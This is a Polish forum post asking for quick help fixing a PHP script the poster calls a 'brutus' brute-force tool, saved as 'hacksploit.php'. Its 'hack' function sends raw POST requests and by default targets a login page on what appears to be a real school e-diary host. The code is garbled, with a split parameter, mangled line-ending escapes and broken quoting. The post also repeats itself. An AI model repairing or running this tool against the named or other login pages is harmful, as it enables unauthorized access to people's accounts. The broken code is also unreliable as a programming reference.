Czesc wszytkim znow mam problem ...
tym razem mam kod php "brutusa pod php"
ze strony jakiejs tam... i ten kod ma blad niestety nie wiem jak go naprawic
ponizej przedstwiam kod pliku z bledem.Blad jest gdzies kolo function hack
taki mi blad wyswietla: Parse error: syntax error, unexpected T_STRING, expecting ')' in Crogram FilesWebServhttpdhacksploit.php on line 7
Prosze o szybka pomoc
ze strony jakiejs tam... i ten kod ma blad niestety nie wiem jak go naprawic
ponizej przedstwiam kod pliku z bledem.Blad jest gdzies kolo function hack
taki mi blad wyswietla: Parse error: syntax error, unexpected T_STRING, expecting ')' in Crogram FilesWebServhttpdhacksploit.php on line 7
Prosze o szybka pomoc
Kod:
<?php
error_reporting(E_ALL);
@ob_end_flush();
function hack($host='lo50.nazwa.pl',$file='/dziennik/prelogowanie.php',$a rray,$port=80){
$lenght=0;
$out2='';
if ( $fp = fsockopen($host, $port, $errno, $errstr, 1)) {
$out = "POST $file HTTP/1.0rn";
$out .= "Host: $hostrn";
$out .= "Content-Type: application/x-www-form-urlencodedrn";
foreach ($array as $id =>$val){
$out2.="$id=$val&";
}
$out2=substr($out2,0,$lenght=strlen($out2)-1);
$out .= "Content-Length: $lenghtrn";
$out .= "rn";
$out.=$out2."rn";
$out .= "Connection: Closernrn";
fwrite($fp, $out);
echo "<hr><textarea rows="30" cols="70">$out2</textarea>
<textarea rows="30" cols="70">$out</textarea>
";
$echo='';
while (!feof($fp))
{
$echo .= fgets($fp, 128);
}
fclose($fp);
echo '<textarea rows="30" cols="70">'.$echo."</textarea>
$echo";
echo '
[size="1"]SUCCES[/size]
<hr> ';
}else{
echo '
[size="1"]<font color="red">ERROR</font>[/size]
<hr& gt;';
}
}
?>